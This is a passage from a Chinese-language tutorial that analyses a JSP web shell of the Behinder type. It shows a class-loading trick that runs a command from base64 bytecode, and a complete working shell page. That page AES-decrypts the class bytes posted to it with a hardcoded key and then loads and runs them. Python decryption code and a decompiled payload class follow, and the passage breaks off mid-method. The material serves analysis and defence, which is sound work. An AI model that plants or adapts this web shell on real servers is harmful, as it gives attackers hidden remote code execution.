out.println(new U().g(new BASE64Decoder().decodeBuffer("yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMQ01EOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAIQ01ELmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAANDTUQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAgADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAsACQAOAAwADAANAA0AFgAPAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=")).newInstance());
%>
<!-- 其中 BASE64 值是如下类的字节码经过BASE64处理后的值 -->
<!--
public class CMD {
static {
try {
Process exec = Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
} -->
运行后会弹出计算器:
后面就是一个AES加密解密的API调用了, 给出JAVA案例直接理解:
public class Main {
public static void main(String[] args) throws ClassNotFoundException, IOException,
InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
SecretKeySpec key = new SecretKeySpec("secretkey1231231".getBytes(), "AES"); // 定义 KEY
Cipher aes = Cipher.getInstance("AES"); // 得到 AES 加密算法对象
aes.init(1, key); // 初始化对象 1: 加密 2: 解密
byte[] bytes = aes.doFinal("data".getBytes()); // 加密后的数据
String encode = new BASE64Encoder().encode(bytes); // 将加密后的数据进行 BASE64 处理
System.out.println(encode); // LLTp6j57mmYVkfw77vc83g==
}
}
那么接下来理解这段代码:
<%
if (request.getMethod().equals("POST")) { // 如果是 POST 请求
String k = "e45e329feb5d925b";
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES"); // 得到 AES 加解密对象
c.init(2, new SecretKeySpec(k.getBytes(), "AES")); // 解密数据对象, 用 e45e329feb5d925b 作为 KEY
new U(this.getClass().getClassLoader())
.g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(
request.getReader().readLine() // 将 POST 中传递过来的字节码, 经过 BASE64 解密处理
)))
.newInstance().equals(pageContext); // 调用 newInstance 进入 static 代码块 | 无参构造函数, 调用 equals(pageContext) 将当前 JSP 页面上下文传递过来
}
%>
那么使用BP进行捕获POST中传递的字节码信息:
编写python脚本进行解密, 得到class内容:
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import base64
# 假设这是你的密钥和初始化向量,需要和加密时相同
key = b'e45e329feb5d925b'
# 加密文本
ciphertext = base64.b64decode(b'''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''')
cipher = AES.new(key, AES.MODE_ECB) # 创建AES解密对象
plaintext = cipher.decrypt(ciphertext) # 解密
plaintext = plaintext[:-plaintext[-1]] # 删除填充
open('data.class', 'wb').write(plaintext)
使用jd-gui
进行反编译:
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import net.rdapieo.Vbypdrrvir;
public class Vbypdrrvir {
public static String content = "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";
private Object Request;
private Object Response;
private Object Session;
public boolean equals(Object obj) {
Map<String, String> result = new HashMap<String, String>();
try {
fillContext(obj);
result.put("status", "success");
result.put("msg", content);
} catch (Exception e) {
result.put("msg", e.getMessage());
result.put("status", "success");
} finally {
try {
Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
Method write = so.getClass().getMethod("write", new Class[] { byte[].class });
write.invoke(so, new Object[] { Encrypt(buildJson(result, true).getBytes("UTF-8")) });
so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
} catch (Exception exception) {}
}
return true;
}
private byte[] Encrypt(byte[] bs) throws Exception {
